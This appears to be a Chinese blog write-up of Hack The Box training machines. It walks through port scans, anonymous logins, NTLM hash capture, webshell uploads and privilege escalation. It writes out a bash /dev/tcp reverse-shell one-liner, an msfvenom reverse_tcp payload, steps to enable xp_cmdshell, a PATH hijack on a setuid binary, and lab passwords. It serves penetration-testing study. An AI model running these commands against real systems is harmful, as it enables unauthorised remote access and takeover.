Hack the box

一时兴起 想玩玩htb 顺便学点渗透的基础知识

Meow

image-20240413163137169

我使用的是openvpn

openvpn连接之后 先尝试下ping 看看能不能ping通

能ping通 nmap扫描一下 扫描到发现开启了23端口 开启了telnet服务

开启空密码登录之后 可以使用telnat连接目标机器 获取shell

这里的用户名是root 登录之后直接cat flag.txt即可

Fawn

image-20240413184544229

nmap扫描暴露端口

image-20240413183346345

扫描21端口的ftp服务版本

image-20240413183440963

登录 获取flag

image-20240413184512522

Dancing

image-20240414110725758

先扫描一下端口

image-20240414110423796

发现开了smb服务

使用smbcilent查找存在的资源

image-20240414110530044

尝试登录 使用空密码

image-20240414110602589

在James.P下发现flag

image-20240414110622783

使用get获取flag

image-20240414110633947

读取

image-20240414110640969

Redeemer

image-20240414160711350

扫描 发现开启了6379 redis端口

连接数据库

image-20240414155951223

没设置账号密码

info查看配置信息

注意到keys值为4

image-20240414160056323

使用keys *查看 读取即可

image-20240414160111114

level1 后面的题目就要米了 苦逼没米 就先放着

Appiontment

image-20240415200730823

老样子 ping+nmap测试端口

image-20240415192220573

题目要求用gobuster这个软件扫描泄露的目录

image-20240415195052836

vpn很卡 需要花点时间

web页面 上去看看

image-20240415194816712

抓个包 试试万能密码

image-20240415195115179

跑的太慢了 不等了 下一道

sequel

image-20240416210417809

image-20240415201954605

image-20240415201039322

3306 开了mysql

尝试直接登录

image-20240415201630160

登录之后就可以直接找flag了

image-20240415201942877

Crocodie

扫描端口 存在21/ftp 80/http两个服务

image-20240416210230968

21端口的ftp允许匿名登录

image-20240416210305831

直接获取两个账号密码

image-20240416210323542

80端口存在验证服务 /login.php

提交admin和对应密码 获取flag

寝室的网好卡 打起来不爽

Responder

image-20240417204449817

老样子 先扫端口

image-20240416230208227

看到80端口 访问之后 默认跳转到unika.htb页面

在host里面修改 绑定相关的地址

image-20240416231238536

这样就不会奇怪的跳转了

image-20240416231510199

成功访问

image-20240417170235259

猜测存在ssrf 读/etc/hosts试试看

image-20240417170359078

成功读取本地文件

试试看能不能读取远程文件

image-20240417185113237

好像读取不出来 ,但是确实可以访问远程的靶机

NTLM

NTLM协议是在Microsoft环境中使用的一种身份验证协议,它允许用户向服务器证明自己是谁(挑战(Chalenge)/响应(Response)认证机制),以便使用该服务器提供的服务。

在NTLM 协议的验证过程中虽然没有明文传递密码,但是却使用了明文密码的等价物NTLM Hash,所以在不知道明文密码但是获取到NTLM Hash的情况即可完成身份的认证,这种认证方式因为传递的事hash值故成为哈希传递。

PTH攻击

利用条件

  • 哈希传递需要被认证的主机能够访问到服务器
  • 哈希传递需要知道并传递被认证主机的用户名
  • 哈希传递需要知道并传递被认证用户的NTLM Hash

我们可以利用Responder捕获Win哈希

使用responder毒化自己的kali

image-20240417200530891

然后让靶机尝试读取自己的文件

image-20240417202340156

成功的窃取到了主机名字和NTLMv2-SSP Hash

image-20240417202423407

我们可以使用john破解内容

image-20240417202842136

要很久 才能成功输出

密码为badminton

注意到

image-20240417204051764

我们可以使用evil-winrm远程连接

image-20240417203616073

成功获取flag

image-20240417203627213

欸 win服务器不好玩

Three

nmap一把梭

image-20240417210101882

开启了22和80端口

直接访问

image-20240417210129608

是一个乐队的网页 上面可以买票啥的

买票的地方需要 名字 email

注意到

image-20240417210222838

thetoppers.htb可能是这个网页的子域名

我们暴力枚举子域名

image-20240418161646443

找到了s3.thetoppers.htb 就是他的子域名

绑定对应的host

image-20240418161840963

这个时候已经能够成功的访问了

image-20240418161922235

访问后是个404 尝试用whatweb跑一下

image-20240418162948823

网上查了查是一个aws s3服务

image-20240418202536645

我们可以使用 awscli与其交互

image-20240418205806714

然后列出上面所有的文件

image-20240418205827995

我们可以使用cp命令上传一个一句话木马

image-20240418210026197

然后直接执行命令

image-20240418210158413

flag的目录比较刁钻 可以反弹一个shell

image-20240418210349902

做第三轮了

Archetype

image-20240419145537867

上来先扫描一圈端口看看

image-20240419094926519

开启了135和445端口 存在smb服务

用smclient查看存在的共享文件

image-20240419100818864

注意到 backups 文件的 Comment 为空 尝试空密码登录

image-20240419101024677

读取prod.dtsConfig文件

image-20240419101042005

里面存有账号密码

1
Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc

1433端口还开启了mssql服务

使用这个账号密码登录

image-20240419105845231

mssql可以执行系统命令

image-20240419110515520

检查自己是不是sysadmin

image-20240419110657629

mssql中xp_cmdshell 可以执行系统命令

使用sp_configure开启xp_cmdshell

1
2
3
4
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

成功执行命令

image-20240419111429114使用msf把shell获取出来、

1
msfvenom  -p windows/meterpreter/reverse_tcp lhost=10.10.14.110 lport=12345 -f exe >/var/www/html/s.exe

image-20240419113050438

msf开启监听

image-20240419113119413

本机开启web服务 将shell传递出去

image-20240419113150649

使用xp_cmdshell 下载shell文件

image-20240419113534954

执行刚刚下载的shell文件

image-20240419113555989

成功获取到shell

image-20240419113803795

使用shell 进入 获取到第一份flag

image-20240419114506609

可惜是低权限

image-20240419141630986

下载一个提权工具winPEAS

image-20240419144038227

用同样的方法传递过去

执行

image-20240419144104291

发现一些可疑文件

image-20240419144132139

找到admin的密码

1
MEGACORP_4dm1n!!

然后可以使用psec远程连接

image-20240419145120195

获取flag

image-20240419145418400

Oopsie

image-20240421115645739

上来先扫描端口

image-20240421105532116

开了80 访问 抓个包看看

image-20240421105636527

这里泄露了后台地址 可以直接访问

image-20240421105721389

尝试了一圈弱密码 都没有成功 直接以guset的方式登录

注意到account路由参数

image-20240421105830615

修改id为1 成功获取到admin的id

image-20240421105855549

通过这个id 可以伪造cookies 来到uploads目录

image-20240421105954598

成功上传一句话木马

image-20240421110103320

上传路由在/uploads路由下

image-20240421110129835

然后尝试访问

成功执行命令

image-20240421110241425

由于kali没有蚁剑 我们直接弹个shell出来

1
bash -c 'bash -i >& /dev/tcp/10.10.14.12/3333 0>&1'

image-20240421110520275

文件没了 可能是被删除或者移动了

尝试使用php弹shell

image-20240421110728587

然后上传 本地开监听

成功反弹到shell

image-20240421111029202

php的shell不太好看 我再弹一次shell

image-20240421111034778

在//var/www/html/cdn-cgi/login 目录下 发现存在db。php储存了本地数据库帐号密码

image-20240421111251920

当前权限是www-data 先提权成root

直接su提权无果 尝试连接ssh

1
ssh robert@10.129.95.191

image-20240421113442470

成功连接

获取第一段flag

image-20240421113502288

发现bugtracker 上有s位

在/usr/bin 执行strings bugtracker 查看二进制文件

image-20240421114530366

这里的cat不是绝对路径写入 可以伪造cat 执行

1
2
3
export PATH=/tmp:$path		//在环境变量的第一个位置添加/tmp目录
echo "/bin/bash">/tmp/cat //将/bin/bash写入cat,执行/bin/bash后会打开一个新的shell命令行
chmod +x /tmp/cat

然后执行bugtracker 随便输入id 获取root

image-20240421115255465

这里会出现问题 就是我们的环境变量被修改之后 很多的指令运行会出现问题 这里可以搞回去

Vaccine

image-20240424194644067

扫描端口

image-20240424184656217

尝试匿名登录ftp

存在一个back.zip

下载下来

image-20240424184858584

存在密码 简单爆破一下

image-20240424185242345

成功解开 看到源码

1
2
3
4
5
6
7
8
9
<?php
session_start();
if(isset($_POST['username']) && isset($_POST['password'])) {
if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
$_SESSION['login'] = "true";
header("Location: dashboard.php");
}
}
?>

在线网站解码

image-20240424185358869

然后登录访问

image-20240424192041354

sqlmap一把梭

image-20240424192158709

直接反弹一个shell到服务器上

image-20240424192326208

image-20240424192417258

获得第一段flag

image-20240424192834867

在网站目录下找到一个一个密码

image-20240424193401236

成功ssh连接上去

image-20240424193513677

suid提权无果 注意到vi上存在s位

直接提权

image-20240424194509130

在里面输入

1
:!/bin/bash

成功提权获取flag